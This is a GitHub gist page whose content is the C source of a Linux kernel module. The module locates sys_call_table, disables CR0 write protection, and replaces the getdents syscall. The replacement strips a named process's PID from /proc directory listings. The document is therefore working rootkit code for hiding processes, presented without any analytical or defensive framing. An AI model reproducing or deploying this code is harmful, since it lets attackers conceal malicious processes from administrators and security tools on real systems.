Skip to content

Instantly share code, notes, and snippets.

@antonstakhouski
Created December 30, 2017 16:52
Show Gist options
  • Save antonstakhouski/0b2271771c1495662c10d5853f6481aa to your computer and use it in GitHub Desktop.
Save antonstakhouski/0b2271771c1495662c10d5853f6481aa to your computer and use it in GitHub Desktop.
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/fdtable.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <asm/uaccess.h>
static void **sct;
#define PROT_DIS() write_cr0(read_cr0() & (~(1 << 16)))
#define PROT_EN() write_cr0(read_cr0() | (1 << 16))
static char* target_name = "foo";
module_param(target_name, charp, S_IRUSR | S_IWUSR);
MODULE_PARM_DESC(target_name, "Process name to hide");
bool is_proc(unsigned int fd)
{
bool res = false;
struct task_struct *ts;
struct file *f;
ts = current;
spin_lock(&ts->files->file_lock);
f = fcheck_files(ts->files, fd);
spin_unlock(&ts->files->file_lock);
path_get(&f->f_path);
{
char *path;
void *fname;
fname = (void *)__get_free_page(GFP_KERNEL);
path = d_path(&f->f_path, fname, PAGE_SIZE);
res = !strcmp(path, "/proc");
free_page((unsigned long)fname);
}
path_put(&f->f_path);
return res;
}
asmlinkage long (*getdents_org)(unsigned int fd,
struct linux_dirent __user * dirent,
unsigned int count);
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
asmlinkage long getdents_new(unsigned int fd,
struct linux_dirent __user * dirent,
unsigned int count)
{
long res;
void *pbuf;
res = getdents_org(fd, dirent, count);
if (!res)
return res;
if (!is_proc(fd))
return res;
pbuf = kzalloc(res, GFP_KERNEL);
copy_from_user(pbuf, dirent, res);
{
unsigned long curr_pid = 0;
unsigned long target_pid = 0;
void *ptr;
struct task_struct *p;
rcu_read_lock();
list_for_each_entry_rcu(p, &init_task.tasks, tasks)
{
if (!strcmp(p->comm, target_name))
{
target_pid = p->pid;
ptr = pbuf;
while (ptr < (pbuf + res))
{
struct linux_dirent *ldir;
ldir = (struct linux_dirent *)ptr;
printk("Offset: %lu, reclen: %u", ldir->d_off, ldir->d_reclen);
kstrtol(ldir->d_name, 10, &curr_pid);
if (curr_pid == target_pid)
{
memcpy(ptr, ptr + ldir->d_reclen,
res - (ptr - pbuf) - ldir->d_reclen);
res -= ldir->d_reclen;
break;
}
ptr += ldir->d_reclen;
}
}
}
rcu_read_unlock();
}
copy_to_user(dirent, pbuf, res);
kfree(pbuf);
return res;
}
static int __init sch_init(void)
{
bool was_found = false;
// Obtain address of the `sys_call_table`
#if CONFIG_KALLSYMS
// kallsyms
sct = (void *)kallsyms_lookup_name("sys_call_table");
was_found = true;
#else
unsigned long handler;
int i;
// pattern search
rdmsrl(MSR_LSTAR, handler);
/*
print_hex_dump(KERN_DEBUG, 0, DUMP_PREFIX_OFFSET,
16, 1, (void *)sch, 0x80, false);
*/
for (i = 0; i < 0x70; ++i)
{
unsigned char *p;
int *sctl;
p = (char *)handler;
/*
4c 89 d1
ff 14 c5 XX XX XX XX
48 89 44 24 50
*/
if ( (p[i + 0] == 0x4c) && (p[i + 1] == 0x89) && (p[i + 2] == 0xd1)
&& (p[i + 3] == 0xff) && (p[i + 4] == 0x14) && (p[i + 5] == 0xc5)
&& (p[i +10] == 0x48) && (p[i +11] == 0x89) && (p[i +12] == 0x44))
{
sctl = (int *)&p[i + 6];
sct = (unsigned long)(0xffff << 32u) | ((unsigned long)*sctl);
was_found = true;
}
}
#endif
if (!was_found)
return -ENODEV;
printk("> %p\n", sct);
getdents_org = sct[__NR_getdents];
PROT_DIS();
sct[__NR_getdents] = getdents_new;
PROT_EN();
return 0;
}
static void __exit sch_exit(void)
{
PROT_DIS();
sct[__NR_getdents] = getdents_org;
PROT_EN();
}
module_init(sch_init);
module_exit(sch_exit);
MODULE_LICENSE("GPL");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment